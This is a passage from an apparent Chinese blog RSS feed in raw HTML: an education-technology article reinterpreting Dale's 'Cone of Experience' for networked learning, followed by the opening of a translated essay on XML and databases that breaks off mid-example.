lang=EN-US>“电力”而生活一样。网络的出现使我们的世界在改变，在我们生活的现实世界之外又出现了一个“虚拟”的网络世界。在这个“虚拟”的网络世界里我们同样有着各种各样的活动：学校有网校，商店有网上商店、网上购物，朋友有网友等等。我们可以在网络中获得所需的各种各样的信息和资源。这个“虚拟”的网络世界与我们的现实世界相辅相成紧密地融合成一个整体。在这样一个复合的环境里我们的学习内容、学习方式也在发生着巨大变化。二十世纪中叶视听教育在美国广泛开展，兴起了所谓的“视听运动”，当时美国著名的教育家爱德加·戴尔(Edger.Dale)提出了著名的“经验之塔”理论，对当时视听教育起到重要的推动和指导作用。而随着网络化时代的到来，我们应怎样更深刻地理解和更广泛地应用戴尔的“经验之塔”呢？</SPAN></P>
<P style="TEXT-INDENT: 24pt; mso-char-indent-count: 2.0; mso-char-indent-size: 12.0pt">一、回顾戴尔的<SPAN lang=EN-US>“经验之塔”</SPAN></P>
<P style="TEXT-INDENT: 23.55pt; mso-char-indent-count: 2.0; mso-char-indent-size: 11.75pt"><SPAN lang=EN-US>20世纪30年代至50年代，是视听教育在美国广泛开展的时期，美国教育家爱德加·戴尔(Edger.Dale)在其出版AudioVisualMethodsInTeaching（《视听教育》）一书中提出了著名的“经验之塔”理论，成为当时视听教育的主要理论依据。戴尔认为人类学习主要通过两个途径来获得知识，一是由自身的直接经验获得，二是通过间接经验获得。他提出的“经验之塔”理论把人类学习的经验依据抽象程度的不同分成三类十个层次。(如下图所示)附件经验之塔课件<A href="http://218.28.8.101/blog/images/file/zip.gif" target=_blank><IMG border=0 onload="java_script_:if(this.width>500)this.width=500" src="http://218.28.8.101/blog/images/file/zip.gif" title=点击在新窗口查看原始图片></A><A href="http://218.28.8.101/blog/uploadfile/2004106185514137.RAR" target=_blank>ta.rar</A></SPAN></P>
<DIV style="mso-element: frame; mso-element-frame-width: 147.05pt; mso-element-frame-height: 257.45pt; mso-element-frame-hspace: 9.0pt; mso-element-wrap: around; mso-element-anchor-vertical: paragraph; mso-element-anchor-horizontal: margin; mso-element-top: .05pt">
<TABLE align=left cellPadding=0 cellSpacing=0 height=343 width=208 hspace="0" vspace="0">
<TBODY>
<TR>
<TD align=left height=343 style="PADDING-BOTTOM: 0cm; PADDING-LEFT: 9pt; PADDING-RIGHT: 9pt; PADDING-TOP: 0cm" vAlign=top>
<DIV style="BORDER-BOTTOM: windowtext 0.75pt solid; BORDER-LEFT: windowtext 0.75pt solid; BORDER-RIGHT: windowtext 0.75pt solid; BORDER-TOP: windowtext 0.75pt solid; PADDING-BOTTOM: 1pt; PADDING-LEFT: 1pt; PADDING-RIGHT: 1pt; PADDING-TOP: 1pt">
<P class=MsoNormal style="BORDER-BOTTOM: medium none; BORDER-LEFT: medium none; BORDER-RIGHT: medium none; BORDER-TOP: medium none; PADDING-BOTTOM: 0cm; PADDING-LEFT: 0cm; PADDING-RIGHT: 0cm; PADDING-TOP: 0cm; mso-element: frame; mso-element-frame-width: 147.05pt; mso-element-frame-height: 257.45pt; mso-element-frame-hspace: 9.0pt; mso-element-wrap: around; mso-element-anchor-vertical: paragraph; mso-element-anchor-horizontal: margin; mso-element-top: .05pt; mso-border-alt: solid windowtext .75pt; mso-padding-alt: 1.0pt 1.0pt 1.0pt 1.0pt"><?xml:namespace prefix = v ns = "urn:schemas-microsoft-com:vml" /><v:textbox style="HEIGHT: 234.593pt; LEFT: auto; MARGIN-LEFT: 7.187pt; MARGIN-TOP: 4.343pt; TOP: auto; WIDTH: 120.625pt; mso-next-textbox: #_x0000_s1028"></v:textbox><BR clear=all style="mso-ignore: vglayout"><SPAN lang=EN-US>&nbsp;<o:p></o:p></SPAN></P><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0 "></v:f><v:f eqn="sum @0 1 0 "></v:f><v:f eqn="sum 0 0 @1 "></v:f><v:f eqn="prod @2 1 2 "></v:f><v:f eqn="prod @3 21600 pixelWidth "></v:f><v:f eqn="prod @3 21600 pixelHeight "></v:f><v:f eqn="sum @0 0 1 "></v:f><v:f eqn="prod @6 1 2 "></v:f><v:f eqn="prod @7 21600 pixelWidth "></v:f><v:f eqn="sum @8 21600 0 "></v:f><v:f eqn="prod @7 21600 pixelHeight "></v:f><v:f eqn="sum @10 21600 0 "></v:f></v:formulas><v:path o:connecttype="rect" gradientshapeok="t" o:extrusionok="f"></v:path><o:lock v:ext="edit" aspectratio="t"></o:lock><v:shape id=_x0000_s1028 style="HEIGHT: 241.8pt; LEFT: 0px; MARGIN-LEFT: 6pt; MARGIN-TOP: 0px; POSITION: absolute; TEXT-ALIGN: left; WIDTH: 135pt; Z-INDEX: 1" coordsize="21600,21600" type="#_x0000_t75"></v:shape></DIV></TD></TR></TBODY></TABLE></DIV>
<P style="TEXT-INDENT: 23.55pt; mso-char-indent-count: 2.0; mso-char-indent-size: 11.75pt"><SPAN lang=EN-US>&nbsp;<o:p></o:p></SPAN></P><BR clear=all style="mso-ignore: vglayout">
<P>（<SPAN lang=EN-US>1）有目的的直接经验。（2）设计的经验。（3）演戏的经验。（4）观察示范。（5）见习旅游。（6）参观展览。（7）电视、电影。（8）静态图像、录音、无线电。（9）视觉符号。（10）词语符号（口头语言、文字）。其中(1)－(3)属于做的经验，(3)－(8)属于观察的经验，(9)－(10)属于抽象的经验。戴尔之所以提出“经验之塔”理论是让人们认识人类认知途径，根据人类的这种从简单到复杂，从形象到抽象，形象和抽象相结合的认知规律，我们就可以选择合理的学习方式，使我们自身的认知过程符合这一认知规律，达到最佳的学习效果。</SPAN></P>
<P>戴尔的<SPAN lang=EN-US>“经验之塔”是一种形象化的比拟，用来说明学习经验以直接参与到用图像代替，再用抽象符号表示的逐步发展过程。依照心理学的概念来划分：塔的底部（做的经验）可称为实物直观，塔尖（抽象的经验）可称为语言直观，塔的中部（观察的经验）可称为模象直观。由于实物直观不容易突出客观事物的本质特征，容易把学生的注意引向事物的非本质方面，并常受时间和空间的限制。而语言直观所依靠的表象是神经暂时联系的恢复，其反映的事物的鲜明性和可靠性都不如知觉，因此弃二者之短的模象直观（视听的经验）就有了重要意义。戴尔认为：“在将现实的感觉事物一般化的时候起到有力的媒介作用的就是半具体化、半抽象化的视听教材，”“由于视听方法所开展的学习经验，既容易转向抽象概念化也容易转向具体实际化。”他还指出“教学中所采用的媒体越是多样化，所形成的概念就越丰富越牢固。”如今网络的出现使塔的中部模象直观得以特别增强，并更容易转向塔的两端抽象概念化和具体实际化。</SPAN></P>
<P style="TEXT-INDENT: 23.55pt; mso-char-indent-count: 2.0; mso-char-indent-size: 11.75pt">二、分析网络时代学习的变化</P>
<P style="TEXT-INDENT: 23.55pt; mso-char-indent-count: 2.0; mso-char-indent-size: 11.75pt">网络的加入，使人类的学习经验在发生着巨大变化，内容不断地丰富和扩大，形式也越来越多样化。网络的最大特征是形象（图形、图像、三维建模）与文本的结合并且带有很大程度得交互性，使学习内容一目了然，尤其是学习资源的可获得性和交互性的急速增长更形成了对现行教育体制和学习模式震撼性的影响。美国哥伦比亚大学的罗伯特<SPAN lang=EN-US>·泰勒(Robert.Taylor)教授在其所写的题为《传播技术和全球化课程设置的出现》一文中指出：“1914年之前的二、三百年间的西欧，经过研究可以作为教学内容的资料数量并不多，当时整个世界科学知识的绝对数量也很有限，而全部文学作品是在一些不大的图书馆里就可以放得下的。而当今世界却在产生着太多太多需要学习的东西，人生相对于这些知识显得越来越短，我们现在有如此多的，而且十分易于学习，易于传播的学习资源，以致于任何一个课程设置的决策人都不能将他们全部地考虑过。”网络化环境下学习资源的特征体现在以下几方面：</SPAN></P>
<P style="TEXT-INDENT: 23.55pt; mso-char-indent-count: 2.0; mso-char-indent-size: 11.75pt"><SPAN lang=EN-US>1、处理数字化：它是指将声音、文本图形、图像、动画、视频等信息经过转换器抽样量化由模拟信号转换成数字信号，数字信号的可靠性远比模拟信号高，对它的纠错处理也容易实现。</SPAN></P>
<P style="TEXT-INDENT: 23.55pt; mso-char-indent-count: 2.0; mso-char-indent-size: 11.75pt"><SPAN lang=EN-US>2、存储方式的变化：信息容量大，且体积小，一张光盘可以存储A4纸文本650,000页，可以容纳上千幅照片，可存储3亿多个汉字（相当于10年的人民日报合订本），而且可以实现快速的查询和检索。全屏动态图像1小时12分钟，调频立体声5个小时。</SPAN></P>
<P style="TEXT-INDENT: 23.55pt; mso-char-indent-count: 2.0; mso-char-indent-size: 11.75pt"><SPAN lang=EN-US>3、显示多媒体化：它是指利用多媒体计算机技术存储、传输、处理多种媒体学习资源，如声音、文本、图形、图像、动画等。这与传统的单纯用文字或图片处理信息资源的方式相比要丰富得多。</SPAN></P>
<P style="TEXT-INDENT: 23.55pt; mso-char-indent-count: 2.0; mso-char-indent-size: 11.75pt"><SPAN lang=EN-US>4、传输网络化：学习资源可以通过网络实现远距离传输，学习者可以在任何一台上网的计算机上获取自己需要的各种各样的信息和资源。</SPAN></P>
<P style="TEXT-INDENT: 23.55pt; mso-char-indent-count: 2.0; mso-char-indent-size: 11.75pt"><SPAN lang=EN-US>5、学习过程智能化：它包括教学软件的专家系统对教学过程中的信息资源使用的实时监控、数据采集、分析、提供帮助等机制，能根据学习者的不同特点选择最适当的教学内容和教学方法，并可对学习者进行有针对性的个别指导；不仅能发现学习者的错误，而且能指出学习者错误的根源，以便作出有针对性的辅导或学习建议。</SPAN></P>
<P style="TEXT-INDENT: 23.55pt; mso-char-indent-count: 2.0; mso-char-indent-size: 11.75pt">学习资源的变化必然带来学习方式的变革，网络学习主要采取异步传输方式，这种方式具有很大的灵活性，教师可以在方便的时候把一些知识和信息传输出去，学生也可以在适当的时候开始学习，能够实现真正意义的自由学习。网络时代的学习的特点主要表现为：</P>
<P style="TEXT-INDENT: 23.55pt; mso-char-indent-count: 2.0; mso-char-indent-size: 11.75pt"><SPAN lang=EN-US>1、异步性：学习者可以根据自己的能力安排学习进度。这种学习方式是非实时地利用计算机互联网查询多媒体课件。目前全国已建成了覆盖多数城市的中国公用计算机网（163网）和中国公众多媒体通信网（169网）。通过这些网，学生可以随时随地查询高校校园网上的多媒体课件库和管理软件库（含有教学计划、课程及大纲、任课老师情况和自己的学籍、考试成绩等信息）。此外，学习者还可以发送E－mail向教师提问，教师也可以充分关注学习者学习个别情况，更有利于因材施教。</SPAN></P>
<P style="TEXT-INDENT: 23.55pt; mso-char-indent-count: 2.0; mso-char-indent-size: 11.75pt"><SPAN lang=EN-US>2、集成性：所有的教学手段都集成在多媒体课件中，如声音、板书、示例的图形、图像、理论和模型的动画解释，一个实验或课文情节的视频表现，全集中于同一课件中。</SPAN></P>
<P style="TEXT-INDENT: 23.55pt; mso-char-indent-count: 2.0; mso-char-indent-size: 11.75pt"><SPAN lang=EN-US>3、交互性：可利用快速以太网或ATM宽带网进行实时、双向、交互的课堂式教学方式。这样，教师可以在网管中心的主演播室里讲课，课堂上的声像、图文、数据可以通过宽带网络实时、清晰的传输到校内外若干个视听教室。学习者也可以通过该网络实时向教师提问，真正实现课堂式的教育。这种实时、双向、交互课堂式的远程教学具有突出的优点，可使教学过程中教师和学习者通过语言和图像进行实时的、双向的交流，利于在演播室的教师根据远端视听教室学习者的表情和提问，随时调整教学内容、方式和进度，以取得最佳教学效果。</SPAN></P>
<P style="TEXT-INDENT: 23.55pt; mso-char-indent-count: 2.0; mso-char-indent-size: 11.75pt"><SPAN lang=EN-US>4、生动性：多媒体使得课件生动活泼、丰富多彩。</SPAN></P>
<P style="TEXT-INDENT: 23.55pt; mso-char-indent-count: 2.0; mso-char-indent-size: 11.75pt"><SPAN lang=EN-US>5、信息量大：由于多媒体课件浓缩了多位专家的智力投入，组织严密，内容丰富，表现易于接受，在单位时间内可以教授更多的信息。</SPAN></P>
<P style="TEXT-INDENT: 23.55pt; mso-char-indent-count: 2.0; mso-char-indent-size: 11.75pt">三、网络化时代的<SPAN lang=EN-US>“经验之塔”</SPAN></P>
<DIV style="mso-element: frame; mso-element-frame-width: 165.05pt; mso-element-frame-height: 264.95pt; mso-element-frame-hspace: 9.0pt; mso-element-wrap: around; mso-element-anchor-vertical: paragraph; mso-element-anchor-horizontal: margin; mso-element-top: .05pt">
<TABLE align=left cellPadding=0 cellSpacing=0 height=353 width=232 hspace="0" vspace="0">
<TBODY>
<TR>
<TD align=left height=353 style="PADDING-BOTTOM: 0cm; PADDING-LEFT: 9pt; PADDING-RIGHT: 9pt; PADDING-TOP: 0cm" vAlign=top>
<DIV style="BORDER-BOTTOM: windowtext 0.75pt solid; BORDER-LEFT: windowtext 0.75pt solid; BORDER-RIGHT: windowtext 0.75pt solid; BORDER-TOP: windowtext 0.75pt solid; PADDING-BOTTOM: 1pt; PADDING-LEFT: 1pt; PADDING-RIGHT: 1pt; PADDING-TOP: 1pt">
<P class=MsoNormal style="BORDER-BOTTOM: medium none; BORDER-LEFT: medium none; BORDER-RIGHT: medium none; BORDER-TOP: medium none; PADDING-BOTTOM: 0cm; PADDING-LEFT: 0cm; PADDING-RIGHT: 0cm; PADDING-TOP: 0cm; mso-element: frame; mso-element-frame-width: 165.05pt; mso-element-frame-height: 264.95pt; mso-element-frame-hspace: 9.0pt; mso-element-wrap: around; mso-element-anchor-vertical: paragraph; mso-element-anchor-horizontal: margin; mso-element-top: .05pt; mso-border-alt: solid windowtext .75pt; mso-padding-alt: 1.0pt 1.0pt 1.0pt 1.0pt"><o:wrapblock><v:shape id=_x0000_s1029 style="HEIGHT: 249.45pt; LEFT: 0px; MARGIN-LEFT: 6pt; MARGIN-TOP: 0px; POSITION: absolute; TEXT-ALIGN: left; WIDTH: 153pt; Z-INDEX: 2" coordsize="21600,21600" type="#_x0000_t75"><A href="http://blog.hnpt.net/04.files/image003.png" target=_blank><v:imagedata src="./04.files/image003.png" o:title=""></A></v:imagedata><v:textbox style="HEIGHT: 242.25pt; LEFT: auto; MARGIN-LEFT: 7.187pt; MARGIN-TOP: 3.593pt; TOP: auto; WIDTH: 138.625pt; mso-next-textbox: #_x0000_s1029"></v:textbox><?xml:namespace prefix = w ns = "urn:schemas-microsoft-com:office:word" /><w:wrap type="topandbottom"></w:wrap></v:shape></o:wrapblock><BR clear=all style="mso-ignore: vglayout"><SPAN lang=EN-US>&nbsp;<o:p></o:p></SPAN></P></DIV></TD></TR></TBODY></TABLE></DIV><BR clear=all style="mso-ignore: vglayout">
<P style="TEXT-INDENT: 23.55pt; mso-char-indent-count: 2.0; mso-char-indent-size: 11.75pt">从对网络时代学习的变化分析，可以看出我们获取知识的途径方式和所要学习的内容都较以前发生了巨大变化，都已或轻或重打上了网络的烙印，我们可以想象网络时代的<SPAN lang=EN-US>“经验之塔”是传统经验与网络经验的融合。（如左下图所示）</SPAN></P>
<P style="TEXT-INDENT: 24pt; mso-char-indent-count: 2.0; mso-char-indent-size: 12.0pt"><SPAN lang=EN-US>1、做的经验：网络化时代使做的经验包含了一定的虚拟成分，有许多事情我们在虚拟的网络世界同样可以获得做的经验。例如：驾驶汽车，我们可以去获得做的经验，同样也可以在计算机上体验驾驶的感受，并且更轻松更随意更有趣，与驾驶真实汽车的感受相差无几，一样能获得做的经验。设计制作模型可以通过计算机软件来完成。例如：用AutoCAD软件做的建筑模型，用3DSMAX做的人体模型、动物模型、汽车模型等等，这同样可以获得设计的经验。网络化使演戏的经验变得更容易获得，现在的许多网络游戏都有很强的参与性，可以随意选择你感兴趣角色。</SPAN></P>
<P style="TEXT-INDENT: 24pt; mso-char-indent-count: 2.0; mso-char-indent-size: 12.0pt"><SPAN lang=EN-US>2、观察的经验：对于观察示范、见习旅游、参观展览，我们当然可以从现实的实际活动中获得，但进入网络化时代后，使所有的这些经验都可以从网络中很容易地得到。例如：我们想学习某一计算机软件，网络上的许多教学软件就可以一步一步的给你示范怎样操作和使用。同样网上的展览也给你一种身临其境的感觉，现在的许多网上的展览以不再是单纯的图片，而是三维立体模型，你可以从各个角度来观看和欣赏。如参观房展，你不但可以从外观来了解，并且可以进入室内各个房间全方位进行参观。对于电视、电影和录音、无线电，由于信号和传输的数字化，使它们之间除了电视和广播有其一定的即时性外已不再有明显的区别。网络使视音频的传播省掉了许多中间环节而变的简单快捷，网络使影视离我们越来越近，并且学习者根据自己的不同需要有很强的选择性。电脑动画出现，可以使许多原本抽象的理性的内容形象化，电脑动画不仅可以表现现实中的一些事物，而且还可以展现想象中的虚幻的内容。这就使学习者对许多抽象的知识更容易认识和理解。</SPAN></P>
<P style="TEXT-INDENT: 24pt; mso-char-indent-count: 2.0; mso-char-indent-size: 12.0pt"><SPAN lang=EN-US>3、抽象的经验：口头语言、文字等信息的数字化，使其存储、检索、传播变的更方便更简单。网上电子图书馆是网上信息资源的重要组成部分，它可以向学习者提供电子图书、电子杂志和报刊等各种参考资料，具有图文检索和工程检索功能。学习者可以通过网上的“电子图书馆”来查阅世界各地的馆藏图书目录、书籍、期刊、音像制品和相关的文献资料。比如Internet网上的“白宫图书馆”，用户可以查询其保留大量的文献及一些公开的历史档案，既可以看到当年独立宣言的原始资料，也可以通过图片浏览曾在那里签署的美国宪法的费城会议大厅等。</SPAN></P>
<P style="TEXT-INDENT: 24pt; mso-char-indent-count: 2.0; mso-char-indent-size: 12.0pt">结束语：网络的加入使我们的生活、学习甚至思维方式都在发生着巨大变化，随着计算机技术及其网络的发展，人们花在网络虚拟世界的时间将越来越多，同样我们的学习也越来越多的是通过网络来获取知识，表现在图上就是阴影的位置将随着计算机技术及其网络的发展会逐渐的向左移动（但会有个极限）。网络时代的<SPAN lang=EN-US>“经验之塔”可以让我们更加深刻地认识网络对于我们现代生活、学习的重要性，从而更好地指导我们的学习和认知，以达到最佳的效果。</SPAN></P>
<P style="TEXT-INDENT: 24pt; mso-char-indent-count: 2.0; mso-char-indent-size: 12.0pt"><SPAN lang=EN-US>(作者单位：上海师范大学教育技术学系上海200234山东临沂师范学院实验与教育技术中心临沂276000)</SPAN></P>
<P>参考文献</P>
<P style="TEXT-INDENT: 24pt; mso-char-indent-count: 2.0; mso-char-indent-size: 12.0pt"><SPAN lang=EN-US>[1]尹俊华，《教育技术学导论》，高等教育出版社</SPAN></P>
<P style="TEXT-INDENT: 24pt; mso-char-indent-count: 2.0; mso-char-indent-size: 12.0pt"><SPAN lang=EN-US>[2]史静寰，《当代美国教育》，社会科学文献出版社</SPAN></P>
<P style="TEXT-INDENT: 23.55pt; mso-char-indent-count: 2.0; mso-char-indent-size: 11.75pt"><SPAN lang=EN-US>[3]沈亚强等，《现代教育技术基础》，浙江大学出版社</SPAN></P></DIV>]]></description>
</item><item>
<title><![CDATA[[xml编程]XML和数据库]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=anchen0617&amp;id=6833</link>
<author>anchen0617</author>
<pubDate>2005/6/27 0:11:58</pubDate>
<description><![CDATA[<DIV class=postText><BR><BR><SPAN class=newstitle>XML和数据库</SPAN>作者：onecenter&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 　作者：Ronald <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 摘要：本论文简要的探讨了XML和数据库之间的关系，同时列出一些可以使用数据库处理XML文档的软件。虽然这里不打算详尽地介绍这些软件，但是笔者希望它能够描述使用数据库处理XML文档中的主要部分。 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 内容：<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 目录<BR>&nbsp;&nbsp;&nbsp;&nbsp; 1.0 简介<BR>&nbsp;&nbsp;&nbsp;&nbsp; 2.0 XML是数据库吗?<BR>&nbsp;&nbsp;&nbsp;&nbsp; 3.0 为什么使用数据库?<BR>&nbsp;&nbsp;&nbsp;&nbsp; 4.0 数据和文档的对比<BR>&nbsp;&nbsp;&nbsp;&nbsp; 4.1 以数据为中心的文件<BR>&nbsp;&nbsp;&nbsp;&nbsp; 4.2 以文档为中心的文件<BR>&nbsp;&nbsp;&nbsp;&nbsp; 4.3 数据、文档和数据库<BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.0 存储和检索数据<BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.1 转移数据<BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.2 将文档结构映射为数据库结构<BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.2.1 模板驱动的映射<BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.2.2 模型驱动的映射<BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.2.2.1 表格模型<BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.2.2.2 特定数据对象模型<BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.3 数据类型、空值、字符集和其他<BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.3.1 数据类型<BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.3.2 二进制数据<BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.3.3 空值<BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.3.4 字符集<BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.3.5 处理指令<BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.3.6 存储标记<BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.4 从数据库的结构生成DTD及其互逆过程 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 1.0 简介<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 本论文简要的探讨了XML和数据库之间的关系，同时列出一些可以使用数据库处理XML文档的软件。虽然这里不打算详尽地介绍这些软件，但是笔者希望它能够描述使用数据库处理XML文档中的主要部分。这里有点偏向与关系数据库，因为我的经验如此。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 2.0 XML是数据库吗?<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 在开始讨论XML和数据库之前，我们需要回答一个萦绕在很多心头的问题: "XML是数据库吗?"在严格意义上将，如果"XML"是指XML文档时，答案是"否"。尽管XML文档包含了数据，但是如果没有其他的软件来处理这些数据，它对于数据库的意义和其他文本文件没有什么区别。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 如果在更为宽泛一些的意义上将，当"XML是指XML文档以及所有相关的XML的工具和技术时，答案则是"是"。 之所以肯定是由于XML提供了许多数据库中所需要的部分:存储(XML文档),结构(DTD, <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; XML schema语言),查询语言(XQL, XML-QL, QUILT等), 编程接口(SAX, DOM),等等。不过...XML还缺少很多在真实的数据库中所必备的内容: 有效的存储、索引、安全、交易、数据完备性、多用户访问、触发、多文档查询等。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 因此如果在数据量一般、用户较少、性能要求不高的环境下可以把XML当作数据库来使用；而在大多产品的环境中，要求有许多的用户使用、需要严格的数据完整性并且对性能有很高的要求，XML就不能胜任了。而且，考虑到象dBase和Access等数据库既便宜又十分易用，因此甚至在第一种情况下XML都很少有理由充当数据库的角色。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 3.0 为什么使用数据库?<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 当在考虑使用XML和数据库时，第一个要问自己的问题应该是：为什么我需要使用数据库？你需要将原有的数据导出？你需要保存你的Web主页？你是要在一个电子商务应用中使用数据库，而且其中XML当做传输的数据格式？这些问题的答案都将直接影响到你对数据库和中间件(如果有的话)的选择。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 例如，假设你在电子商务应用程序中使用XML来进行数据传输。这是很好的方案，因为你的数据具有高度规范的结构，而XML中的那些实体和编码对你而言并不重要了。毕竟样你关心的仅仅是数据而不在于这些数据如何在文档中进行物理的存储。如果你的应用程序相对比较简单的话，关系数据库和数据传输中间件将可以满足你的需求；如果应用程序庞大而且复杂，那么你就需要一个完全支持XML的开发环境了。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 从另一方面来说，假设你有一个从零散的XML文件创建的网站。你不仅需要管理这个网站，你还要提供方法让用户可以查询其中的内容。这时你的文件将非常的不规范，而实体的使用对你来说将变得很重要，因为这些文件的结构是网站的根本。在这个例子中，你就需要某类"原生 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; XML"数据库可以执行版本化、跟踪实体的使用并且支持如XQL这样的查询语言。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 4.0 数据和文档的对比<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 笔者认为，在选择数据库时，最重要的判断因素可能是你是利用数据库来保存数据还是保存文档。如果你想保存数据，你需要的数据库主要是面向数据存储(例如关系型数据库或者面向对象型数据库)以及在数据库和XML文档之间相互转换。从另一个角度来将，如果你想存储文档，你需要一个专门设计用来存储文件的内容管理系统。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 虽然你可以自己把文件保存在关系数据库或面向对象数据库中，可是你常会发现你的工作是在重复内容管理系统的功能。类似的，虽然一个内容管理系统通常是建立在面向对象数据库或关系数据库之上，但要是把一个内容管理系统当做数据库来使用就可能非常的令人困绕。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 你需要存储数据还是文档，答案常常取决于你的XML文档。原因是XML文件分为两大类：以数据为中心和以文档为中心。.<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 4.1 以数据为中心的文件<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 以数据为中心的文件的特点是结构相当规范、数据颗粒度好(也就是说，数据中最小的独立单元是PCDATA元素或者是属性)、很少或者没有混合内容。其中同层次元素和PCDATA的出现顺序并不重要。典型的例子是，XML文档包含了销售定单、飞行安排、餐馆菜单等等。数据为中心的文档常被用于机器的使用，这时XML可能是多余的---它仅仅是数据传输的手段而已。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 例如，下面的销售定单的文档就是以数据为中心的：<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; ABC Industries<BR>&nbsp;&nbsp;&nbsp;&nbsp; 123 Main St.<BR>&nbsp;&nbsp;&nbsp;&nbsp; Chicago<BR>&nbsp;&nbsp;&nbsp;&nbsp; IL<BR>&nbsp;&nbsp;&nbsp;&nbsp; 60609<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 981215<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; Turkey wrench:<BR>&nbsp;&nbsp;&nbsp;&nbsp; Stainless steel, one-piece 